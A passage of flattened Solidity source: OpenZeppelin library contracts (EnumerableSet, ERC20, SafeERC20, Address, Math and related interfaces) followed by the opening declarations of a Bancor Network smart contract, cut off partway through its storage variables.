* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import { EnumerableSetUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import { PausableUpgradeable } from "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import { ITokenGovernance } from "@bancor/token-governance/contracts/ITokenGovernance.sol";
import { IVersioned } from "../utility/interfaces/IVersioned.sol";
import { PPM_RESOLUTION } from "../utility/Constants.sol";
import { Upgradeable } from "../utility/Upgradeable.sol";
import { Time } from "../utility/Time.sol";
import { MathEx } from "../utility/MathEx.sol";
// prettier-ignore
import {
Utils,
AlreadyExists,
DoesNotExist,
InvalidToken,
InvalidType,
InvalidPoolCollection,
NotEmpty
} from "../utility/Utils.sol";
import { ROLE_ASSET_MANAGER } from "../vaults/interfaces/IVault.sol";
import { IMasterVault } from "../vaults/interfaces/IMasterVault.sol";
import { IExternalProtectionVault } from "../vaults/interfaces/IExternalProtectionVault.sol";
import { Token } from "../token/Token.sol";
import { TokenLibrary, Signature } from "../token/TokenLibrary.sol";
import { IPoolCollection, TradeAmountAndFee } from "../pools/interfaces/IPoolCollection.sol";
import { IPoolMigrator } from "../pools/interfaces/IPoolMigrator.sol";
// prettier-ignore
import {
IBNTPool,
ROLE_BNT_MANAGER,
ROLE_VAULT_MANAGER,
ROLE_FUNDING_MANAGER
} from "../pools/interfaces/IBNTPool.sol";
import { IPoolToken } from "../pools/interfaces/IPoolToken.sol";
import { INetworkSettings, NotWhitelisted } from "./interfaces/INetworkSettings.sol";
import { IPendingWithdrawals, WithdrawalRequest, CompletedWithdrawal } from "./interfaces/IPendingWithdrawals.sol";
import { IBancorNetwork, IFlashLoanRecipient } from "./interfaces/IBancorNetwork.sol";
/**
* @dev Bancor Network contract
*/
contract BancorNetwork is IBancorNetwork, Upgradeable, ReentrancyGuardUpgradeable, PausableUpgradeable, Time, Utils {
using Address for address payable;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using TokenLibrary for Token;
using SafeERC20 for IPoolToken;
error DeadlineExpired();
error NativeTokenAmountMismatch();
error InsufficientFlashLoanReturn();
struct TradeParams {
uint256 amount;
uint256 limit;
bool bySourceAmount;
}
struct TradeResult {
uint256 sourceAmount;
uint256 targetAmount;
uint256 tradingFeeAmount;
uint256 networkFeeAmount;
}
struct TradeTokens {
Token sourceToken;
Token targetToken;
}
struct TraderInfo {
address trader;
address beneficiary;
}
// the migration manager role is required for migrating liquidity
bytes32 private constant ROLE_MIGRATION_MANAGER = keccak256("ROLE_MIGRATION_MANAGER");
// the emergency manager role is required to pause/unpause the network
bytes32 private constant ROLE_EMERGENCY_STOPPER = keccak256("ROLE_EMERGENCY_STOPPER");
// the network fee manager role is required to pull the accumulated pending network fees
bytes32 private constant ROLE_NETWORK_FEE_MANAGER = keccak256("ROLE_NETWORK_FEE_MANAGER");
// the address of the BNT token
IERC20 private immutable _bnt;
// the address of the BNT token governance
ITokenGovernance private immutable _bntGovernance;
// the address of the VBNT token
IERC20 private immutable _vbnt;
// the address of the VBNT token governance
ITokenGovernance private immutable _vbntGovernance;
// the network settings contract
INetworkSettings private immutable _networkSettings;
// the master vault contract
IMasterVault private immutable _masterVault;
// the address of the external protection vault
IExternalProtectionVault private immutable _externalProtectionVault;
// the BNT pool token
IPoolToken internal immutable _bntPoolToken;
// the BNT pool contract
IBNTPool internal _bntPool;
// the pending withdrawals contract
IPendingWithdrawals internal _pendingWithdrawals;
// the pool migrator contract
IPoolMigrator internal _poolMigrator;
// the set of all valid pool collections
EnumerableSetUpgradeable.AddressSet private _poolCollections;
